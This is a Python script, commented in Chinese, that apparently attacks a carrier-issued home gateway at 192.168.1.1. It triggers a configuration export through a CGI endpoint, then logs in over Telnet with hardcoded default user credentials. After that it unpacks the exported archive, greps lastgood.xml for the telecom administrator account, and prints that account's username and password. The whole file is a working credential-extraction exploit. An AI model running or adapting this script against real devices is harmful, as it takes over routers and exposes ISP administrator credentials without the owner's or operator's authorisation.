import requests
import telnetlib
import time
import sys
import re

def check_http_status(ip, path1):
    current_timestamp = int(time.time())
    url1 = f"http://{ip}/{path1}"
    # 请求头信息
    headers = {
        "Referer": f"http://{ip}/webcmcc/config_upgrade.html?{current_timestamp}",
    }
    # 请求体数据
    data = {
        "mode_name": "/boaform/web_config_file_export",
        "nonedata": "0.5530775882528298",
        "0": "n", "1": "o", "2": "n", "3": "e",
        "4": ":", "5": "n", "6": "o", "7": "n", "8": "e", "9": "d"
    }
    try:
        # 发送 POST 请求
        response = requests.post(url1, headers=headers,  verify=False) 
        response_json = response.json()
        if response_json.get("data", {}).get("result") == "SUCCESS":
            print(f"步骤1: 配置导出成功")
            return True  # 返回成功标识
        else:
            print(f"步骤1: 未成功，返回文本为: {response.text}")
            return False  # 返回失败标识

    except Exception as e:
        print(f"步骤1: HTTP请求过程信息 - {str(e)}")

def extract_account_info(grep_result):
    """从grep结果中提取账户名和密码"""
    # 使用正则表达式匹配所需的字段
    name_pattern = r'<Value Name="aucTeleAccountName" Value="(.*?)"/>'
    password_pattern = r'<Value Name="aucTeleAccountPassword" Value="(.*?)"/>'
    
    # 查找匹配项
    name_match = re.search(name_pattern, grep_result)
    password_match = re.search(password_pattern, grep_result)
    
    # 提取结果
    username = name_match.group(1) if name_match else "未找到"
    password = password_match.group(1) if password_match else "未找到"
    
    return username, password

def telnet_session(ip, username, password):
    try:
        # 步骤2: 建立Telnet连接
        tn = telnetlib.Telnet(ip, timeout=20)
        print("步骤2: 成功连接到Telnet服务器")

        # 步骤3: 输入用户名
        tn.read_until(b"login: ", timeout=10)
        tn.write(username.encode('ascii') + b"\n")
        print("步骤3: 已输入用户名")

        # 步骤4: 输入密码
        tn.read_until(b"Password: ", timeout=10)
        tn.write(password.encode('ascii') + b"\n")
        print("步骤4: 已输入密码")

        # 步骤5: 切换到/tmp目录
        tn.write(b"cd /\n")
        time.sleep(1)
        print("步骤5: 已执行")
        tn.read_very_eager()

        # 步骤6: 解压文件
        tn.write(b"tar zxvf /tmp/config_file.tar.gz\n")
        time.sleep(3)  # 等待解压完成
        print("步骤6: 已执行解压命令")
        tn.read_very_eager()

        # 步骤7: 执行grep命令并显示结果
        print("步骤7: 执行 grep TeleAccount 命令...")
        tn.write(b"grep TeleAccount /tmp/config_file/lastgood.xml\n")
        
        # 等待命令执行并获取结果
        time.sleep(2)
        grep_result = tn.read_very_eager().decode('ascii', errors='ignore')
        
        # 显示grep结果
        # print("\n===== grep 命令结果 =====")
        # print(grep_result)
        # print("=========================\n")
        
        # 提取并显示账户信息
        username, password = extract_account_info(grep_result)
        print(f"提取到的信息：")
        print(f"用户名：{username}")
        print(f"密码：{password}")

        # 关闭Telnet连接
        tn.close()
        print("\nTelnet连接已关闭")
        
    except Exception as e:
        print(f"操作过程中出错: {str(e)}")

if __name__ == "__main__":
    # 配置参数
    device_ip = "192.168.1.1"
    http_resource1 = "boaform/web_config_file_export.cgi"
    #http_resource2 = "webcmcc/config_file.tar.gz"
    login_user = "user"
    login_pass = "nE7jA%5m"

    # 执行步骤1
    check_http_status(device_ip, http_resource1)
    
    # 执行后续步骤并处理结果
    telnet_session(device_ip, login_user, login_pass)
    
    # 等待用户按键后退出（移到此处）
    print("\n按任意键退出...")
    if sys.platform.startswith('win'):
        import msvcrt
        msvcrt.getch()  # Windows系统
    else:
        import tty, termios
        fd = sys.stdin.fileno()
        old_settings = termios.tcgetattr(fd)
        try:
            tty.setraw(sys.stdin.fileno())
            sys.stdin.read(1)
        finally:
            termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)  # Linux/Mac系统